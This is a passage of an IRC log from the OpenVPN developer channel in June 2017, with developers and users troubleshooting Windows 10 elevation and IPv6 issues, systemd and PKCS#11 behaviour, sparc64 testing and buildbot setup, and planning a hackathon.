that this function gets enabled even without --block-outside-dns? 10:01 < SviMik> * in 2.3.15 10:02 < SviMik> * when using win10. on win7 with the same config it's not triggered 10:04 <@cron2> only if the server pushes it 10:06 < SviMik> weird. people claim they didn't touch the config and didn't put block-outside-dns there. 10:07 < SviMik> everybody lies? 10:11 < SviMik> I don't personally have win10 to check it, but two people already confirmed this strange behaviour. I'm puzzled. 10:21 < SviMik> nevermind. our programmer confirmed this parameter existing in our GUI directly in launching arguments (not in config) 10:21 < SviMik> everybody lies. 10:22 <+krzee> lol everybody lies 10:28 < slypknot> SviMik: only 10 minutes to fix .. that's fodda be a record ! 10:29 < slypknot> godda* 10:29 < SviMik> yeah! 10:30 < SviMik> well, 10 minutes to find the cause. the fix will be in the next release only 10:33 <@cron2> slypknot: why are you sending buildsystem bugs to openvpn-*users*? 10:39 < SviMik> how do we test our software? we release it and wait. if nothing happens - probably it's ok. 10:51 <@ordex> SviMik: do you have "pray" in your workflow? 10:51 <@ordex> :D 10:53 < SviMik> sure! 11:27 <@ordex> dazo: I think the case described by Simon on the ml follows the lines of what we were discussing here earlier. if you make such changes intra-release people will just backport what they need and not follow your maintenance releases any longer (basically emulating what they would have expected from mainstream) 11:30 < slypknot> cron2: sorry .. i was going to send to *users* because I could not figure out what was wrong .. then I worked it out but forgot to change the email list 11:30 < slypknot> can reforward if you like 11:36 <@dazo> nah, that's fine 11:37 <@dazo> copying to -devel now only makes more noise 11:50 < Thermi> What, you don't sacrifice goats? 20:42 <@ordex> morning :) --- Day changed Thu Jun 01 2017 19:15 <@vpnHelper> RSS Update - tickets: #899: Initialization Sequence Completed Issue #1 <https://community.openvpn.net/openvpn/ticket/899> --- Day changed Fri Jun 02 2017 09:06 <@vpnHelper> RSS Update - tickets: #900: OpenVPN and torrents <https://community.openvpn.net/openvpn/ticket/900> 12:22 <@ordex> those days … when the channel is so silent … it means something is about to happen :P 12:26 < slypknot> ordex: #900 looks like it already is happening .. 12:28 <@ordex> well, that has been closed already :P so not much 12:29 < slypknot> what time of day is it for you ? .. 18.20 here 12:33 <@ordex> 130am here 12:34 <@ordex> 1:30 12:34 <@ordex> it's tomorrow 12:51 <@cron2> 19:44 local time 12:58 <+krzee> 1:50pm local, but i keep my laptop on 10:50am 13:00 <@ordex> krzee: you are exactly on the other side :D 13:00 <@ordex> 1:50am now here hehe 13:01 <+krzee> sweet! i been to your timezone! 13:01 <+krzee> easy to remember the time back home :D 13:01 <@ordex> :D right! 13:05 <+krzee> i think one of my friends dogs is trying to dig to you 13:06 <@ordex> lol let him dig ! 13:06 <@ordex> once the tunnel is open, throw in a mango, please 13:06 <@ordex> :D 13:06 <+krzee> hahhaha 13:07 <+krzee> i just sent him a picture of this lol 13:08 <@ordex> :D 13:25 < slypknot> is that a new --proto DDOG ? 13:26 <@dazo> Distributed Dog? 13:26 < slypknot> digging dog ;) 13:26 <@dazo> ahh! 13:26 <@dazo> slypknot: Sure, that can probably work better than this one: https://en.wikipedia.org/wiki/IP_over_Avian_Carriers 13:26 <@vpnHelper> Title: IP over Avian Carriers - Wikipedia (at en.wikipedia.org) 13:27 < slypknot> lots o' pidgeons ! 13:27 < slypknot> with a flock of starlings could you do frame relay ? 13:28 <@dazo> lol 13:28 < slypknot> how about a chain of marching ants .. SIP 13:29 < slypknot> SLIP 13:40 <@dazo> so if make them walk in columns, you get PLIP? 13:41 < slypknot> exactly :D 13:42 < slypknot> I was also thinking about schoaling fish .. but can't figure a suitable protocol 13:42 < slypknot> too chaotic ! 13:43 <@dazo> sounds like IPX :-P 13:43 < slypknot> but in an organised way 13:43 < slypknot> IPX lol 13:43 < slypknot> netbios 13:43 < slypknot> netbios is more like a fireworks display ! 13:44 <@dazo> I don't know much about IPX ... but remember a guy claiming that if you have an IPX network without packet collisions, something is very wrong 13:45 < slypknot> sounds like someone tried to do token-ring over ethernet 13:45 <@cron2> IPX is just a L3 protocol like IP 13:45 <@cron2> *packet* collisions happen on L2 13:48 < slypknot> CSMA-CD 19:31 < slypknot> FDDM --- Day changed Sat Jun 03 2017 01:19 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 01:23 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:22 < SCHAPiE> https://upload.wikimedia.org/wikipedia/commons/2/23/Dijkstras_progress_animation.gif --- Day changed Sun Jun 04 2017 02:57 <@ordex> SCHAPiE: nice gif 04:17 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 04:19 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 04:19 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon Jun 05 2017 02:14 <@ordex> good morning everyone :) 06:31 < mator> i'm using openvpn (2.4.0) on linux sparc64 , we don't have unaligned accesses yet :) 06:32 < mator> at least 3-4 client sparc64 machines connect to a single server (x86_64).... probably i need to check with a server being sparc64 as well... let me test it 07:49 < slypknot> ordex: do you have your packet filter work accessible ? maybe a git tree I can clone 08:22 < mator> can't reproduce sparc64 unaligned issue with x86_64 client (openvpn-2.3.14-1.fc25.x86_64) and sparc64 (2.4.0-6) server 08:23 < mator> does gert happens to be here ? 08:37 <@syzzer> cron2: ^^ 09:04 <@cron2> yes :) 09:05 <@cron2> mator: I remember you had issues in mss.c, but we fixed those :) - so the report on the list about openbsd/sparc64 having issues *now* must be something else 09:05 < mator> yes, but i just checked that i have linux sparc64 clients 09:06 < mator> btw i have openbsd and freebsd installed as well 09:06 <@cron2> openbsd on sparc64? 09:06 < mator> (on the real hardware, not in qemu) 09:06 < mator> yea 09:06 * cron2 has openbsd on amd64 only 09:06 <@cron2> any issues there? 09:06 < mator> not sure, did not touched them, need to switch on (ldm start openbsd) 09:07 < mator> cron2, if you would like, i could provide a shell there... 09:07 <@cron2> this week I won't have time to do anything - need to fix tax paperwork, attend a conference, ... 09:08 <@cron2> but might come back to this offer afterwards :) 09:08 <@cron2> (what does "ldm start openbsd" do? I only do "boot disk0" or "boot disk1"...) 09:09 < mator> ldm is shell hypervisor control on sparc (read virsh for x86_86) 09:10 < mator> while boot command is when domain (virtual machine) already started and sitting in openboot 09:10 <@cron2> ah! no virtual anything here on my sparcs, just real OSes sitting on different disks 09:10 < mator> (if openboot autostart disabled) 09:10 <@cron2> never found time to play with virtualization there 09:12 <@cron2> what do you use as hypervisor? 09:12 < mator> cron2, it's boring =) 09:12 < mator> cron2, openbsd has it's own written control program, let me find it 09:13 < mator> while solaris has ldm 09:13 < mator> ldm - command-line interface for the Logical Domains Manager 09:13 < mator> openbsd : http://man.openbsd.org/OpenBSD-current/man8/sparc64/ldomctl.8 09:13 <@vpnHelper> Title: ldomctl(8) - OpenBSD manual pages (at man.openbsd.org) 09:13 <@cron2> "solaris" is the answer I was looking for :) 09:14 <@cron2> does openbsd or freebsd virtualization work properly on sparc64? 09:14 < mator> guys from oracle work for porting ldm to linux on sparc64 but not sure about progress, while there's some patches from them on sparclinux@vger 09:14 < mator> cron2, never tried openbsd as a control domain (hypervisor manager) for a server 09:17 * cron2 doesn't feel like ever installing Solaris again... seems I'll need to give OpenBSD a bit of testing :-) 09:25 <@cron2> mmmh, sun4v... all I have is sun4u (because FreeBSD does not support sun4v)... 09:29 < mator> cron2, how come? 09:29 < mator> i have freebsd installed in sun4v 09:30 <@cron2> https://www.freebsd.org/platforms/sun4v.html 09:30 <@vpnHelper> Title: FreeBSD/sun4v Project (at www.freebsd.org) 09:30 <@cron2> The Oracle sun4v architecture is currently not supported by the FreeBSD project 09:30 <@cron2> "this is all I know" 09:30 <@cron2> I have seen that some effort has been made, some bits had been missing, then people did not have time to go on, and never investigated more detail 09:33 < mator> i wonder why i have freebsd domain... http://paste.debian.net/plain/968332 09:34 <@cron2> mator: it does not exactly look like you have a *working* freebsd domain... 09:34 <@cron2> ERROR: Last Trap: Illegal Instruction 09:34 < mator> yeah, doesn't work, going to remove it then 09:35 <@cron2> looks like test runs with everything you could find that claims "sparc64!" :) 09:35 < mator> ehehee 09:35 <@cron2> (sounds like my x86 zoo...) 09:36 < mator> make -j on 128 or 64 vcpu domain for openvpn sources takes 11 seconds to build 09:36 <@cron2> wooosh! 09:36 <@cron2> (like, 3 minutes for configure to run, and then 11 seconds to build...) 09:36 < mator> switched on power8 server about a month ago , which has been laying in storage from 2014 09:37 < mator> so i have a ppc64 testbed as well 09:37 <@cron2> what OSes are you running on that? 09:38 < mator> currenly only 2 09:38 <@cron2> AIX & linux? 09:38 < mator> linux ppc64 (buildd for debian project) and test linux 09:38 < mator> aix as vios, was lazy to install another aix 09:47 < mator> photos on installed S822 (power8) and other my hardware (not including hp C7000 / tapes / storages, etc..) https://drive.google.com/drive/folders/0B2GO8w4i9zbiZ1JTV2lVMXlpWkE 09:47 <@vpnHelper> Title: ibm-power-S822 - Google Drive (at drive.google.com) 09:48 <@cron2> S822, nice :) 09:51 < mator> cron2, do you have ci (continius integration) for openvpn builds? i probably could provide ppc64/sparc64 VMs (lpar / ldom) if you're interested 09:54 <@cron2> we have (buildbot), about everything on x86/amd64 is tested today, but sparc64/openbsd or sparc64/linux could be a nice addition. 09:54 <@cron2> sparc64/freebsd and AIX are sort-of-manually tested 09:55 * cron2 needs to be afk for an hour or so, feed a friend's cats (vacation)... bbl 10:59 * mator & off to gym 11:56 <@ordex> slypknot: if you search in the mailing list, I posted the link there. I think it is in my github. but it is still based on the master of that time 11:59 < physkets> Hello! I was wondering if someone could help me fiqure out what benefits there ae to compiling with '--enable-systemd' 11:59 < physkets> From looking into things I see tha tit means that query_user_exec() is used instead of query_user_exec_builtin() 11:59 < physkets> But could someone tell me what that actually means? 12:22 <@cron2> if systemd is running, this will cause queries for username/password to use the systemd facilities, which is magic :) and could cause, for example, a background daemon to pop up a gnome desktop window 12:30 < physkets> cron2: Oh, so you mean in cases where I run openvpn without an explicit 'sudo', it will use systemd's authentication facilities? 12:31 < physkets> like 'systemctl start xyz' does? 12:32 < physkets> If that is all, then I think I can safely compile without it 12:32 < physkets> You see, I'm ridding my applications off of their systemd dependencies one by one 12:38 <@cron2> it will work nicely (even on a systemd system) without that, yes - it just cannot ask for credentials if run as systemd service 12:50 < physkets> cron2: cool, thanks! Bye! 14:23 <@vpnHelper> RSS Update - gitrepo: Remove erroneous limitation on max number of args for --plugin <https://github.com/OpenVPN/openvpn/commit/3f181eaa324892845e0857d80c154512d9e8c59c> || Fix gateway detection with OpenBSD routing domains <https://github.com/OpenVPN/openvpn/commit/3dd30bfe5fdf9f34afe7f847b4e30156982d9ff0> || Avoid a 1 byte overcopy in x509_get_subject (ssl_verify_openssl.c) <https://github.com/OpenVPN/openvpn/commit/3fbc9d2b1b1e75 16:13 <@dazo> cron2: --enable-systemd does a bit more than just the query-user stuff these days ... like using the process/service management features in systemd 16:15 <@dazo> "t will work nicely (even on a systemd system) without that, yes" ... also entirely depends on how you start openvpn on a systemd enabled system ... starting from command line, it will work fine .... starting via the rc-script wrappers or systemd unit files will actually not work so well compared to having --enable-systemd activated 16:16 <@dazo> Lots of grey zones here .... some approaches will work better than others, but generally, --enable-systemd with unit files using Type=notify gives the best experience, from a systemd managed service perspective 17:29 <@syzzer> ... but, if you use pkcs11 with passwords, --enable-systemd will break the pin prompt :( 17:29 <@syzzer> s/passwords/pin/ 17:46 <@dazo> syzzer: still with the latest patches? Type=notify should actually improve that too, according to some reports I've received from Fedora users 17:47 <@dazo> but it requires some sd_notify() calls from openvpn to work too 17:47 <@dazo> (which we have implemented on the minimum needed places) --- Day changed Tue Jun 06 2017 00:34 <@ordex> morning ! 02:31 <@syzzer> dazo: dunno - I start openvpn from the command line, and in that case it fails 02:32 <@syzzer> has something to do with pkcs11-helper not playing nice, iirc 02:33 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 02:35 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:22 < slypknot> syzzer: https://community.openvpn.net/openvpn/ticket/538 05:22 <@vpnHelper> Title: #538 (no PIN prompt with PKCS11 when systemd is enabled) – OpenVPN Community (at community.openvpn.net) 05:24 < slypknot> out of curiosity, does a server ever know the UID of the client TAP adapter ? 05:24 <@cron2> no 05:25 < slypknot> thanks :) 05:30 <@cron2> (unix taps do not have a uuid to start with, and nobody ever saw reason to signal the client tap uuid on windows to the server, so it's not done) 05:33 < slypknot> cron2: thanks again, I know you don't read the forum but if you have nothing better to do (which is very unlikely) I just wanted an authoritive answer to this: https://forums.openvpn.net/viewtopic.php?f=5&t=24242&p=70748#p70748 05:33 <@vpnHelper> Title: For privacy, what should I redact when I post OpenVPN Daemon log files from Windows? - OpenVPN Support Forum (at forums.openvpn.net) 05:40 <@cron2> uh, that's too long for "I have 90 minutes before I need to leave to catch a plane, and I have to eat and pack stuff beforehand", sorry 05:40 <@cron2> interesting discussion, though :) 05:42 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 258 seconds] 05:44 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:04 < slypknot> I believe the author of that previous post has unwittingly discovered a small new bug with openvpn+w10 .. 06:05 < slypknot> If you use explorer to 'start openvpn on this config file' then w10 opens a non-admin level cmd and so the vpn duly fails .. 06:07 < slypknot> even when logged in as administrator, w10 makes the decision and I cannot see a way round it. 07:42 <@syzzer> slypknot: yes, that ticket seems to describe the systemd-pkcs11 issue! thanks 07:44 <@dazo> okay, so it might be Fedora carries some fixes which have not been accepted upstream - or the Fedora testing was faulty (both equally plausible) 07:44 <@dazo> and we really need to kick out pkcs11-helper :/ 07:46 <@ordex> can pkcs-11-helper be replaced by another more-maintained lib or do we need to implement some functionalities in openvpn? 07:47 <@dazo> p11-kit 07:48 <@syzzer> iirc, p11-kit requires openssl (or gnutls?) 07:48 <@syzzer> we also need something that works for mbedtls 07:49 <@dazo> how is that handled with pkcs11-helper? should we get p11-kit to support mbedtls in a similar matter? 07:49 <@syzzer> dazo: I think so, yes. And mbedtls depends on pkcs11-helper itself, which needs to be adjusted to p11-kit (or implemented in mbedtls itself) 07:50 <@dazo> right 07:52 <@ordex> so basically this needs: 1) changing p11-kit to support mbedtls 2) changing mbedtls to be able to use p11-kit instead of pkcs11-helper 07:52 <@ordex> phew 07:52 <@ordex> and later, change openvpn to use p11-kit :D 07:53 <@dazo> yeah, long path :/ 07:57 < slypknot> can anybody confirm the problem above^^^ with W10 ? I will start a new trac if that is suitable 08:05 * dazo sees a lot of Windows registry things ... and let the ball pass over to real windows users 08:07 <@dazo> slypknot: you might mean GUID or UUID, not UID ... GUID/UUID means the same, just Microsoft prefer "Globally" instead of "Universally" .... UID is more commonly referred to as User ID (at least for long time *nix developers) 08:08 <@dazo> https://en.wikipedia.org/wiki/UID 08:08 <@vpnHelper> Title: UID - Wikipedia (at en.wikipedia.org) 08:09 <@dazo> (you're not wrong, it can just be somewhat confusing) 08:18 < slypknot> dazo: not worried about the UID thing .. but shall I raise a ticket about W10 starting a non-admin cmd when using explorer > 'start openvpn on this config file' ? 08:19 <@dazo> slypknot: I'm no Windows person ... but from how I see it, that's expected ... but it might be the privilege separation stuff in Windows is misbehaving in this scenario ... you really need the input from Selva Nair, d12fk or other Windows people out there 08:20 < slypknot> yah .. i'll do it later 08:20 < slypknot> thanks dazo 08:21 <@dazo> yw! 08:22 <@d12fk> slypknot: the priv sep thing only works when using the gui at the moment 08:25 < slypknot> d12fk: thanks .. I just raise a trac for it :) 08:38 <@vpnHelper> RSS Update - tickets: #901: Windows 10 starts a NON-admin cmd when using "Explorer > Start OpenVPN on this config file .." <https://community.openvpn.net/openvpn/ticket/901> 08:47 <@syzzer> can I interest someone for reviewing this one: 08:47 <@syzzer> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14716.html 08:47 <@vpnHelper> Title: [Openvpn-devel] [PATCH] openssl: fix overflow check for long --tls-cipher option (at www.mail-archive.com) 09:26 <+krzee> i have a user in the help channel whose windows client is trying to use the wrong interface 09:27 <+krzee> (if anybody has any ideas) 09:29 <+krzee> nevermind, he renamed his tap device, i got him 09:40 <+krzee> Tue Jun 06 10:28:52 2017 NOTE: FlushIpNetTable failed on interface [3] {9D4DD336-6554-42AF-949D-A3D464B9C366} (status=1168) : Element not found. 09:40 <+krzee> meh hes using the correct GUID, im back to no idea 10:59 < slypknot> krzee: renamed tap device requires --dev-node .. just saying is all 11:00 < slypknot> element not found .. hmm 11:00 <+krzee> hes gone now, reinstalling windows 11:00 < slypknot> rofl 11:01 <+krzee> he had updated to win10 and that may be when the issue started 11:01 <+krzee> actually i think the reinstall will help him 11:01 < slypknot> ok .. so he updated windows but had the same tap adapter installed before and after ? 11:02 < slypknot> krzee: ^ 11:04 <+krzee> doesnt matter anymore, not bothering 11:50 <+krzee> reinstalling windows fixed his problem, he stopped by to let it be known 12:04 < slypknot> krzee: i wonder if reinstalling openvpn would have been simpler ? 12:05 <+krzee> he had done, and tap device 12:05 < slypknot> so was windows just bjorked ? 12:05 <+krzee> no reason to keep troubleshooting it tho, the user is gone and it works for him now 12:05 <+krzee> yes ^ 12:05 < slypknot> ok .. so he updated windows but had the same tap adapter installed before and after ? 12:05 < slypknot> was that the actual case ? 12:06 < slypknot> meh Wx to W10 has been documented to flacky 12:22 <@cron2> slypknot: not sure if we're going to do something about #901 - openvpn on windows is not something normal users run from the CLI, so we rely on the gui to do windowsy things like "talk to the registry", "find the iservice", "set up windows pipes properly" - we don't *want* that code inside openvpn.exe, because that would mean "twice the maintenance work" 12:23 <@cron2> what we could do is have a cli-mode for the *gui* to "just run this openvpn config" which will do all that is needed to set up iservice, service pipe, etc. - and users can run that on their configs 12:35 <+krzee> could there be a "start vpn on boot" option in the gui that would simply activate the service? 12:36 <+krzee> since many windows users dont even know what a service is :D 12:55 < slypknot> cron2: I documented it as a bug because if it is not working then it should be removed. I was not sure how to classify it because there maybe some way at installation for the registry to say open openvpn as an administrator cmd .. but i don't know .. hopefully selva or somebody can answer that 12:56 < slypknot> but it sould be removed if it cannot be made to work via explorer 13:05 < slypknot> also, i presume if there is a way to open (eg) "cmd /administrator" then windows can take care of the permissions 13:33 * slypknot is shocked ! 13:33 < slypknot> it may not be that difficult : powershell -Command "Start-Process cmd -Verb RunAs" 13:33 < slypknot> https://stackoverflow.com/questions/19098101/how-to-open-an-elevated-cmd-using-command-line-for-windows 13:33 <@vpnHelper> Title: How to open an elevated cmd using command line for Windows? - Stack Overflow (at stackoverflow.com) 13:34 < slypknot> logged in as administraor (infact user name r00t) open standard cmd (non-admin) run that command = administrator cmd.exe ! 13:37 * slypknot is trying stricter scenario 13:52 < slypknot> it even works as a non admin account ! 13:53 < slypknot> I'll post a reply 18:12 <@dazo> !factoids 18:12 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php 18:49 <@vpnHelper> RSS Update - gitrepo: Remove erroneous limitation on max number of args for --plugin <https://github.com/OpenVPN/openvpn/commit/3f181eaa324892845e0857d80c154512d9e8c59c> || Fix gateway detection with OpenBSD routing domains <https://github.com/OpenVPN/openvpn/commit/3dd30bfe5fdf9f34afe7f847b4e30156982d9ff0> || Avoid a 1 byte overcopy in x509_get_subject (ssl_verify_openssl.c) <https://github.com/OpenVPN/openvpn/commit/3fbc9d2b1b1e75 --- Day changed Wed Jun 07 2017 01:31 <@ordex> morning ! :) 02:03 <@mattock> morning 02:19 <@syzzer> morning! 02:20 <@syzzer> vpnHelper seems to have a hard time keeping track of git (or it is trying to remind us in a passive-agressive way that we haven't committed for a while :-p ) 02:51 <@cron2> syzzer: I'm sure it is the latter :) 02:51 <@cron2> (and as soon as I get back home from Geneva, I can take up the slack on the committing thing again :) ) 03:43 < mator> cron2, how do we add another buildbot for sparc/linux or sparc/openbsd? any URL to read 03:43 < mator> morning 04:22 <@dazo> mattock: ^^^ 04:35 < slypknot> mator: this is what I followed https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 04:35 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 04:36 < slypknot> mator: and mattock gave me creds to connect 05:17 <@cron2> mator: it's a slightly bumpy road, but that is a good starting point - and then talk to mattock, slypknot or me if something is unclear 05:46 < slypknot> cron2: mator .. that guide took me through the entire process with no problems :) 06:02 < slypknot> cron2: I just discovered that, if there is no --server-ipv6 then ifconfig-push-ipv6 in a ccd is ignored by the server .. 06:05 < slypknot> cron2: also, on w10 client the tun device has been assigned a second ipv6 address that is not pushed by this server .. the v6 add is from a different server so dhcp seems to remember the address and hand it out anyway ! 06:23 <@dazo> slypknot: --server-ipv6 is a macro ... would --ifconfig-ipv6 in the server config (so the tun/tap adapter actually have a known IPv6 address) also work for you? 06:41 < slypknot> dazo: not sure what you mean but .. i do have server.confs which do not use --server-ipv6 and i setup ipv6 manually for server side .. but problem above is for w10 client .. dhcp has handed out the correct v6 addess which is pushed by this server *and* second v6 address from a different server .. 06:43 < slypknot> client is not connected to secind server 06:49 <@dazo> slypknot: well, it's windows ... so I'm on very thin ice .... my point was merely that if --server-ipv6 works, but you don't want to have an IPv6 pool by default, I wondered if having --ifconfig-ipv6 on the server and then using --ifconfig-ipv6-push in a CCD file would work 06:50 <@dazo> on the client side, the Windows TAP driver simulates a DHCP server, to trick the networking stack to fetch an DHCP address ... which is effectively what the openvpn server pushed to the client 06:51 < slypknot> yes .. i understand that 06:51 < slypknot> maybe this is a w10 thing where w10 remembers the previous address and requests that as well ? 06:52 < slypknot> a little strange .. 06:52 < slypknot> d12fk: any ideas ? 06:52 <@dazo> that is not uncommon, and according to the DHCP spec ... the client may cache IPv6 addresses and ask to re-use it, but it should not use it before the DHCP server gives an ACK 06:53 < slypknot> dazo: my w10 has not been allowed to install updates for quite some months .. so no creators update , still at the previous so this kind of sounds like a w10 bug 06:55 <@dazo> could be w10 bug and could be a bug in the Windows TAP driver 06:55 <@dazo> is it possible to have wireshark listening to what happens on the TAP device when openvpn connects? 06:55 < slypknot> hmm .. i'll try 06:57 < slypknot> oo nice :) 07:07 < slypknot> I can't get an answer from wireshark .. i dont see replies to dhcpv6 solicit .. HOWEVER 07:07 < slypknot> using command line to start openvpn does not assign two ipv6's 07:08 < slypknot> but using the GUI and service does ! 07:31 <@dazo> begins to smell like OpenVPN bug now 07:32 < slypknot> yeah .. wireshark sees requests for both addresses when using gui + service .. 07:44 < slypknot> dazo: related question .. i see ICMPv6 neighbour solicitation for $IPV6::add (From client to server) 07:44 < slypknot> what should I see as a reply ? 07:44 < slypknot> I am not sure if wireshark is seeing that reply 07:45 < slypknot> V4 is all normal 08:09 < slypknot> dazo: answer to your previous question .. I do use CCD --ifconfig-ipv6-push for both servers in question 08:09 * slypknot bbl 08:10 <@dazo> slypknot: hmmmm .... you made me double check the source code ... so it seems the interactive service can actually use the separate interactive service channel ... and does not depend on the DHCP hack, the interactive service process handles the IP config ... but if that is only for IPv6 or IPv4 and IPv6, that I am currently not so sure of 08:13 <@dazo> okay ... so dug further .... setting IPv6 handling is covered by do_address_service() in tun.c in the OpenVPN core code ... with the GUI, the setting of IPv6 addresses is handled via the interactive service 08:15 <@dazo> if openvpn is started from the cmdline ... it uses netsh to configure the IPv6 address 08:19 <@dazo> hmmm ... the ipv4 code paths is actually harder to follow than the IPv6 one when it comes to the network configuration 09:17 < slypknot> dazo: v4 is probably old and gnarly .. v6 is cron2's bright shiney new stuff ;) 09:18 < slypknot> thanks for looking .. if needed i can send data to ML or trac 09:18 <@dazo> Again, I think d12fk or Selva are the ones who should dig deeper into this 09:21 < slypknot> I'll send to dev ML for exposure then :) 09:29 <@dazo> yeah, that sounds good 09:31 <@cron2> dazo, slypknot: we're not using DHCP for IPv6 addresses. Just to point that out. 09:32 <@cron2> (because that would require a DHCPv6 implementation, which is much more work than "just call netsh.exe" :) ) 09:34 <@cron2> slypknot: whether or not it's a client or server side thing can be easily seen by looking at the PUSH_REPLY part - if the "ifconfig-ipv6-push" is in there, it's not the server fault - if not, there is nothing the client can do about it 10:07 < slypknot> cron2: i'll post to -dev ML for all to see 10:09 < slypknot> but FYI .. the server is *not* pushing the 2nd ipv6 only first 10:10 <@cron2> if the server is not pushing, show server config and server log :) 10:10 <@cron2> it might be an old server that has no tun-ipv6 set if you do not use --server-ipv6 10:10 <@cron2> (like, 2.3) 10:11 < slypknot> i know the drill ;) 11:49 < slypknot> it's on the list 11:53 <@d12fk> when would be the best time to discuss this years hackathon? 11:53 * d12fk thinks it's about time to start organizing 13:45 < slypknot> what is the chances of making all options (like --pause-exit) boolean so if they are set by a calling process they can be unset within the config ? 13:46 <@cron2> d12fk: good plan! I'd just take one of last years mails with everyone on CC: and group reply to that (with a new subject:) :-) 13:46 * slypknot ducks 14:31 <@ordex> d12fk: add me to the group when sending the mail :) 14:34 <@ordex> d12fk: add me to the list please :] (unless i need to be invited) 15:01 <@vpnHelper> RSS Update - tickets: #902: openvpn forgets password <https://community.openvpn.net/openvpn/ticket/902> 16:31 -!- danhunsaker_ [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 16:37 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 240 seconds] 16:37 -!- danhunsaker_ is now known as danhunsaker 18:12 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 18:18 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:18 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:43 < SviMik> just curious, who's Steffan, and whether he is here 19:43 < SviMik> it's quite puzzling to see real names in mailing list and nicknames here 19:43 < SviMik> (unless there is some secret nickname table) 22:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Jun 08 2017 01:51 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 01:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 02:30 <@ordex> morning 02:33 <@syzzer> mornin' :) 02:33 <@ordex> :) 02:35 <@cron2> *yawn* :) 02:36 <@ordex> the channel is slowing waking up hehe 03:14 < valdikss> sup 03:14 < valdikss> With OpenVPN Connect on Android you can't download anything from Google Play even if there's a very narrow routes to the VPN. Is it known issue? 03:14 < valdikss> All Android versions affected, and it's not limited to OpenVPN Connect only. 03:15 <@cron2> If I'm parsing your sentence right you're telling us "if there is a VPN active, Google Play is not working, even if the VPN will not cover addresses used for Google Play"? 03:37 <@dazo> slypknot: Generally speaking, it's not a bad idea having some of the "bool" options revertible ... the challenge is how to do it efficiently without adding lots of complex code ... or that the change-set gets so large it'll take too long to really review 03:38 <@dazo> slypknot: and just so you see a part of the bigger picture ... whenever we do add options or modify their behaviour in OpenVPN 2, some of us also needs to consider how that impacts OpenVPN 3 ... as OpenVPN 3 can parse the same configuration files 04:08 < valdikss> cron2: yes 04:09 < slypknot> dazo: i was just curious .. but it would be nice to have ;) 04:12 <@d12fk> ordex: what's your e-mail address? 04:13 <@dazo> d12fk: you got a PM with that address 04:13 <@d12fk> targeting mid/late september 04:14 <@d12fk> ok with everyone? 04:14 <@dazo> late september will collide with family holiday 04:15 <@syzzer> same here late september / early october is holiday time for me 04:15 <@syzzer> (I'm guessing hackathon?) 04:16 <@dazo> (week 39-40, iirc) ... and we're also busy sept 8-10 04:16 <@dazo> syzzer: bingo :) 04:17 <@syzzer> oh well, the doodle will probably show us :) 04:18 <@dazo> yeah :) 04:44 <@cron2> valdikss: frst time I heard about it, but then, plaisthos should know 04:46 <@cron2> d12fk: september is not working for me this year (family vacation and go tournament in munich), so oct/nov 04:52 <@d12fk> smells like october so far =) 04:53 <@cron2> given that I'm in Dubai in November, yeah :) 04:55 <@ordex> on my side I don't have plans that far in the future - any time should work 05:03 <@cron2> one gets totally inflexible if kids have school, and fixed school holidays... 05:13 <@ordex> yeah 10:34 < MK__> Can someone point me to the code for the next client's step/state after sending P_ACK_V1? 10:37 <@ordex> personally I'd need to dig into the code. it is not so easy to identify "what happens after X" 10:38 < MK__> That is the problem with the source, but if you can guide me when to look at, it would be so helpful 10:38 < MK__> I know that it should start tls handshake 10:41 <@ordex> MK__: P_ACK_V1 is a generic packet type used for ACKing data without sending any data from our side 10:41 <@ordex> it is not sent only at the beginning 10:41 < MK__> Yes, and it is the final step in initial handshake 10:42 <@ordex> ok 10:42 <@ordex> might be 10:53 <@dazo> The QuarksLab security audit have a fairly good overview of the OpenVPN handshake process 10:56 < MK__> Yes, I found it while I was googling it 11:26 < MK__> tls in openvpn can run over udp, is that standard? 11:31 <@dazo> nope, TLS is designed for TCP only .... so OpenVPN encapsulates the TLS packets in a reliability "wrapping" to ensure a similar behaviour as TCP and pushes that over a UDP socket 11:32 <@dazo> fun fact: 4 years after the first OpenVPN release, DTLS arrives as an official RFC ... which allows TLS over UDP .... but DTLS have been riddled with lots of security flaws 14:24 <@cron2> oh, interesting, "git log" is now showing tags and whether a commit happens to be HEAD etc. 14:30 <@cron2> brrr 14:30 <@cron2> proxy.c follows very close second place after ntlm.c 14:35 <@vpnHelper> RSS Update - gitrepo: refactor my_strupr <https://github.com/OpenVPN/openvpn/commit/69162924de3600bfe8ae9708a1d6e3f4515ef995> 14:37 <@syzzer> cron2: yeah, same author I suspect... 14:38 <@syzzer> cron2: yeah, will do 14:40 <@cron2> syzzer: and yeah, this code is old and smelly... the ntlm.c fix I could have 